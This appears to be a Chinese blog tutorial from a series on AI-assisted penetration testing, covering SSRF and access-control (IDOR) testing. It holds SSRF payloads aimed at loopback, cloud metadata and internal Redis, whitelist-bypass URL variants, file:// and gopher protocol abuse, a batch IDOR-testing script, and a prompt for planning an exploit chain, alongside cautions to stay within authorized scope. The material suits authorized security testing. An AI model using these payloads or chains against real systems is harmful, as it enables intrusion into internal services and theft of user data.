一句话:越权是 AI 最能出活的领域——因为它是"理解业务 + 批量尝试"的组合,传统扫描器几乎无能为力。

一、为什么这两类漏洞适合 AI

  • SSRF:需要识别"参数是个 URL/域名/IP",并理解后端如何使用它
  • 越权(IDOR/垂直越权):需要理解"谁应该能访问什么",这是纯业务逻辑

扫描器对这两类几乎无效,因为它们没有业务上下文。而 AI 恰好能以自然语言理解业务流程。

二、SSRF:先找参数,再造 Payload

2.1 参数识别

# 输入
以下是从目标抓取的接口列表(含参数名):
- /api/proxy?url=xxx
- /api/fetchImage?src=xxx
- /api/webhook/test?callback=xxx
- /api/import?source=xxx
- /api/avatar?from=xxx
- /api/documents/download?path=xxx

# 任务
1. 判断哪些参数最可能存在 SSRF
2. 对每个参数,给出 5 条测试 payload(从基础到进阶)
3. 说明每条 payload 想验证什么

AI 会输出按可能性排序的清单,并给出:

/api/proxy?url=
→ http://127.0.0.1:80/
→ http://169.254.169.254/latest/meta-data/   (云元数据)
→ http://[::1]:80/
→ http://localhost:6379/                     (Redis)
→ http://internal-service:8080/              (内网探测)

2.2 绕过白名单

SSRF 防护最常见的实现是域名白名单。AI 能把绕过手法穷举出来:

# 背景
目标校验逻辑:
url 必须以 "https://trusted.com" 开头,且不含 "127.0.0.1"。

# 任务
给出绕过该校验的 Payload,并说明原理。

AI 输出:

# DNS 重绑定
https://trusted.com.attacker.com/          # 若校验用 startsWith 就绕过
# @ 混淆
https://trusted.com@127.0.0.1/
# 302 跳转
https://trusted.com/redirect?to=http://127.0.0.1/
# 域名解析到内网
https://evil.attacker.com/  (A记录指向 127.0.0.1)
# 进制/编码变形
http://0177.0.0.1/
http://2130706433/
http://0x7f.0.0.1/
http://127.1/

这份清单的价值极高——人很难一次想全所有变形。

2.3 协议走私

# 任务
目标 SSRF 参数支持任意协议。
列出可以用来读取本地文件、探测内网、RCE 的协议及用法(Linux 环境)。

AI 输出:file:///etc/passwd、gopher://(打 Redis/MySQL)、dict://、ftp://、ldap:// 等,并给出 gopher 打 Redis 写 shell 的完整 payload。

三、越权:AI 的核心战场

3.1 让 AI 梳理权限模型

# 输入
系统角色与接口:
角色:普通用户、VIP用户、客服、管理员
接口:
- GET  /api/user/{id}/profile
- POST /api/order/{orderId}/cancel
- GET  /api/order/list
- GET  /api/admin/users
- POST /api/admin/user/{id}/role

# 任务
1. 分析每个接口的预期权限
2. 标出可能存在水平越权(同角色跨用户)的接口
3. 标出可能存在垂直越权(低权限访问高权限)的接口
4. 给出具体的测试方法(用哪个账号、改哪个参数)

AI 输出示例:

接口 风险类型 测试方法
GET /api/user/{id}/profile 水平越权 用户A的token,把id改成用户B的id
POST /api/order/{orderId}/cancel 水平越权 取消他人订单
GET /api/admin/users 垂直越权 普通用户token直接请求
POST /api/admin/user/{id}/role 垂直越权 + 提权 用低权限token尝试改自己角色

3.2 越权的隐蔽变体

AI 能提醒你注意这些容易漏的场景:

# 任务
除直接改 id 外,还有哪些容易被忽视的越权场景?请结合常见业务。

AI 输出:

  1. 参数污染:?id=1&id=2(后端取哪个?)
  2. 数组/批量:{"ids":[我的, 别人的]}
  3. JSON 嵌套:{"user":{"id":1,"role":"admin"}} 前端不显示但后端接收
  4. 导出/下载接口:/export?ownerId=xxx 导出他人数据
  5. ID 后缀遍历:/order/1001 → /order/1002
  6. GraphQL:query 里直接指定任意 node id
  7. UUID 可预测:自增 ID 换成"伪 UUID"但实际可枚举
  8. API 版本绕过:/v2/api 有鉴权,/v1/api 没有

这 8 条几乎覆盖了实战中遇到的大部分越权形态。

3.3 自动化越权测试

def test_idor(base_url, endpoint, my_token, my_id, others_ids):
    """
    水平越权批量测试
    """
    results = []
    for oid in others_ids:
        url = f"{base_url}{endpoint.format(id=oid)}"
        resp = requests.get(url, headers={"Authorization": f"Bearer {my_token}"})
        
        # 用 AI 判断是否为"越权成功"
        verdict = ai_judge_idor(
            my_id=my_id,
            target_id=oid,
            status=resp.status_code,
            body=resp.text[:1500]
        )
        if verdict["is_idor"]:
            results.append((oid, verdict["evidence"]))
    return results

ai_judge_idor 的 Prompt:

# 任务
判断这次请求是否构成越权。
我是用户 A(id=1001),用 A 的 token 请求了 id=1002 的数据。
响应:{status, body}

# 判断依据
- 如果返回了 id=1002 的真实数据 → 越权成功
- 如果返回 403/401 → 鉴权正常
- 如果返回空数据或"无权访问" → 鉴权正常
- 如果返回 id=1001 的数据(后端强制绑定当前用户)→ 安全

# 输出
{"is_idor": bool, "evidence": "", "confidence": 0.0}

四、SSRF + 越权的组合拳

实战中这两者常常串联:

1. 发现 SSRF 参数,可访问内网
2. 内网探测发现一个无鉴权的管理 API
3. 该 API 有越权,可读取全部用户数据

让 AI 帮你规划这条链:

# 任务
已知存在 SSRF(/api/proxy?url=),可访问内网。
已探测到内网存在 10.0.0.5:8080 的管理接口。
规划下一步:如何利用 SSRF 探测该接口、枚举其路径、组合成完整利用链。

五、注意事项

  1. 越权测试用小号数据:不要动真实用户数据,用自己注册的多个账号互测
  2. SSRF 探测内网需谨慎:可能触达客户生产系统,务必在授权范围内
  3. 云元数据是重灾区:169.254.169.254 一旦成功即高风险,注意留存证据
  4. 记录完整请求:越权结论需要完整请求响应作为证据

六、小结

漏洞类型 AI 的贡献
SSRF 参数识别、绕过穷举、gopher 构造
水平越权 接口风险评估、批量测试编排
垂直越权 权限模型梳理、隐蔽变体提示
组合链路 跨漏洞串联规划

越权和 SSRF 是传统扫描器的盲区,也是 AI 优势最明显的战场。

下一篇:AI 辅助二进制逆向。


系列文章:AI 渗透测试与漏洞挖掘实战